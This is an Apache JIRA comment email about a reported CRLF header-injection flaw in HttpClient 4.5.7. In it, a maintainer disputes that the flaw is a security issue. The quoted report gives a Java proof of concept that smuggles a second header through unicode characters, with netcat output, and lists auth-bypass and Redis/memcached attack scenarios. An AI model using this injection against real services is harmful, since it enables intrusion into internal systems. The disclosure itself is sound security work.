[
https://issues.apache.org/jira/browse/HTTPCLIENT-1974?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16797944#comment-16797944
]
Oleg Kalnichevski commented on HTTPCLIENT-1974:
-----------------------------------------------
bq. I think the point is that it can be used to craft a syntactically invalid
message, which may be problematic later on (double CRLF will end the header
block in HTTP/1.1, so the recipient would see all subsequent fields as payload)
[~reschke] The reporter clearly implies this is an exploitable security
vulnerability rather a trivial case of input sanitization. Had this issue been
about input sanitization from the very beginning without any nonsensical claims
of security vulnerability it would likely have taken a different turn.
There are numerous ways one can generate syntactically invalid messages if so
inclined. I do not see this case as something terribly special. One can always
bend HttpClient APIs to generate 'funny' messages. We do it all the time in
integration tests to make sure our message deserializers are robust enough to
deal with common protocol violations.
Oleg
> CRLF injection vulnerability in setting/adding HTTP headers
> -----------------------------------------------------------
>
> Key: HTTPCLIENT-1974
> URL: https://issues.apache.org/jira/browse/HTTPCLIENT-1974
> Project: HttpComponents HttpClient
> Issue Type: Bug
> Components: HttpClient (classic)
> Affects Versions: 4.5.7
> Reporter: Filip Ochnik
> Priority: Major
>
> Hello,
>
> Note: This vulnerability has already been reported using a private channel.
> Unfortunately, it was deemed as non-issue by maintainers. I'm posting it here
> for public visibility.
>
> *Summary*
> HttpClient in versions 4.5.7 and below is vulnerable to CRLF injection when
> adding or setting headers on an HTTP request. Attacker who can control the
> value of any header in a request created using HttpClient could exploit this
> vulnerability to add arbitrary headers and attack internal services, like a
> webserver, Redis, memcached, etc.
>
> *Details*
> The current version of HttpClient does not properly filter unicode values,
> resulting in the sequence '{color:#000000}\u560d\u560a{color}' being
> converted to `\r\n` and causing unintended behavior. When the value (or part
> of the value) of any header set when constructing an HTTP request using
> HttpClient is controlled by an attacker, it allows them to insert arbitrary
> content to the new line of the HTTP header.
>
> *Proof of concept*
> Consider this piece of code, where variable "attackerControlledValue"
> simulates an attacker-controlled input.
>
> {code:java}
> import org.apache.http.client.methods.HttpGet;
> import org.apache.http.impl.client.CloseableHttpClient;
> import org.apache.http.impl.client.HttpClients;
> public class Main {
> public final static void main(String[] args) throws Exception {
> CloseableHttpClient httpclient = HttpClients.createDefault();
> String attackerControlledValue = "1\u560d\u560aX-But-Not-This-One: oh
> no!";
> try {
> HttpGet httpget = new HttpGet("http://127.0.0.1:8080/";);
> httpget.addHeader("X-I-Expect-This-Header",
> attackerControlledValue);
> httpclient.execute(httpget);
> } finally {
> httpclient.close();
> }
> }
> }{code}
>
>
> We set up a netcat listener on port 8080 and run this code:
>
> {code:java}
> $ nc -l 8080
> GET / HTTP/1.1
> X-I-Expect-This-Header: 1
> X-But-Not-This-One: oh no!
> Host: 127.0.0.1:8080
> Connection: Keep-Alive
> User-Agent: Apache-HttpClient/4.5.7 (Java/1.8.0_172)
> Accept-Encoding: gzip,deflate
> {code}
>
> We can see in the netcat output that the header
> "{color:#000000}X-But-Not-This-One{color}" is present in the request, which
> means the injection succeeded.
>
> *Attack scenarios*
> * By adding arbitrary HTTP headers it's possible to bypass authentication of
> some simple web services
> * Several simple services that communicate over HTTP (Redis, memcached) can
> be exploited by injecting valid commands
>
> *Related vulnerabilities*
> Here are some related CRLF injection vulnerabilities in other software:
> * CVE-2016-5699 in Python’s stdlib
> [https://nvd.nist.gov/vuln/detail/CVE-2016-5699]
> * CVE-2017-6508 in wget [https://nvd.nist.gov/vuln/detail/CVE-2017-6508]
> * CVE-2016-4993 in Undertow web server
> [https://nvd.nist.gov/vuln/detail/CVE-2016-4993]
> * CVE-2019-9740 in Python's stdlib again
> [https://nvd.nist.gov/vuln/detail/CVE-2019-9740]
--
This message was sent by Atlassian JIRA
(v7.6.3#76005)
---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscr...@hc.apache.org
For additional commands, e-mail: dev-h...@hc.apache.org
